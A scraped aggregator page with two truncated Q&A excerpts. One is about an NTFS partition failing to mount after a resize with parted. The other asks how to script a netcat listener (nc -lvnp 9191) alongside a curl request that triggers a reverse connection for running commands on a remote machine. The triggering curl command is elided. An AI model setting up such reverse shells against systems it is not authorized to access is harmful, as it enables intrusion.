Posts

Can't mount external Hard Drive after shrinking partition with parted

Image
Clash Royale CLAN TAG #URR8PPP up vote 1 down vote favorite 1 I resized the NTFS partition in my external hard drive by shrinking it and then I created a 2nd fat32 partition starting from the end of the 1st partition. I also switched the boot flag from the NTFS partition to the FAT32 partition. After quitting parted, the new FAT32 partition automounts when plugged in but the 1st NTFS partition can't be mounted using either udisksctl or manual mounting. The latter gives me: [user@host mnt]# mount /dev/sdd1 /mnt/volume ntfs_attr_pread_i: ntfs_pread failed: Input/output error Failed to calculate free MFT records: Input/output error NTFS is either inconsistent, or there is a hardware fault, or it's a SoftRAID/FakeRAID hardware. In the first case run chkdsk /f on Windows then reboot into Windows twice. The usage of the /f parameter is very important! If the device is a SoftRAID/FakeRAID then first activate it and mount a different device under the /dev/mapper/ director...

Using netcat and curl together in a bash script

Image
Clash Royale CLAN TAG #URR8PPP up vote 0 down vote favorite This question is more related to infosec, but I can't seem to find a workaround in automating the following process: There is a cURL command which triggers a connection to the netcat. Without automatization, I type in nc -lvnp 9191 , and in another terminal I enter the cURL command which establishes a connection back to my machine at port 9191 which I can then execute some commands in a remote machine. I am trying something like this in my bash script: nc -lvnp 9191& curl ...... The netcat starts a listener, goes into the background, the cURL triggers the connection (I receive the connection back), but the netcat immediately closes. $ ./shell.sh Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::9191 Ncat: Listening on 0.0.0.0:9191 Ncat: Connection from xxx.xxx.xxx.xxx. Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx. $ If I remove the nc -lvnp 9191& from the bash script and leave just th...